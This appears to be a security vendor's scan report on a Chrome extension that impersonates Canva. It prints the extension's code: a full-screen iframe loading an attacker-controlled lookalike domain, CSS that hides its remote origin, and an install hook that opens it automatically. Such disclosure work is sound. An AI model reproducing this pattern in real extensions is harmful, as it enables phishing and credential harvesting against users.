Security Alert: Malware Risk Confirmed
CANVO - Advanced Image Editor
ID: hglpafopgdpcgegbiccbpmimjdghagjf
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- CAView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
A fast and powerful image editor right in your browser. Upload, crop, edit, and draw perfectly.
Canva-app is a free photo and video editor, logo maker, and graphic design app all in one. Design faster with powerful AI features. This Chrome extension offers an intuitive photo editing tool directly in your browser. With features like image upload, rotation, horizontal flip, cropping, reset, and download, you can quickly adjust and finalize your images with ease. The modern, responsive interface—featuring a stylish gradient background and clean toolbar—is designed for creative professionals who value speed and simplicity in their workflow. Feel free to use or modify this description as needed for your documentation or Chrome Web Store listing.
This extension requests no permissions and has no recorded risk factors.
The entire app.html page is an iframe that loads an uncontrolled external HTTP URL from the suspicious lookalike domain `canv3app.chrome-app-ext.online`. This domain impersonates Canva while using an unrelated registrar domain (`chrome-app-ext.online`) to appear legitimate. Loading a full-screen iframe from an attacker-controlled server allows the remote operator to serve any content — phishing pages, credential harvesting forms, or malware downloads — that the user sees as if it were part of the extension.
<body> <iframe src="http://canv3app.chrome-app-ext.online/" allowfullscreen></iframe></body>The CSS deliberately hides all browser chrome cues (no scrollbars, no borders, zero margin/padding, 100% height) to make the externally-served iframe indistinguishable from a native extension page. This is a classic phishing technique to mask that the content originates from a third-party server, preventing users from noticing the remote origin or any UI anomalies.
body, html {margin: 0;padding: 0;height: 100%;overflow: hidden;}iframe {width: 100%;height: 100%;border: none;}Immediately upon installation, the background service worker opens `app.html`, which silently loads the attacker-controlled iframe from `http://canv3app.chrome-app-ext.online/`. This auto-launch on install ensures every new victim is immediately exposed to whatever content the remote server is currently serving, with no user interaction required beyond installing the extension.
chrome.runtime.onInstalled.addListener(() => { chrome.tabs.create({ url: "app.html" });});The extension is listed on the Chrome Web Store as 'CANVO - Advanced Image Editor' but the manifest internal name is 'Canva app', directly impersonating the well-known Canva brand. Combined with the iframe domain `canv3app.chrome-app-ext.online`, this is a coordinated brand impersonation campaign designed to deceive users into trusting the extension and any content served through it. No permissions are declared, making the extension appear safe during the review/install flow.
{ "manifest_version": 3, "name": "Canva app", "version": "1.2", "description": "Enjoy easy-to-use photo & v editor, endless templates for your resume."}By severity
Versions scanned
Showing 1 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.2 | 4 |
Files with findings
3 distinct paths — top paths by unique finding count:
- app.html2
- background.js1
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.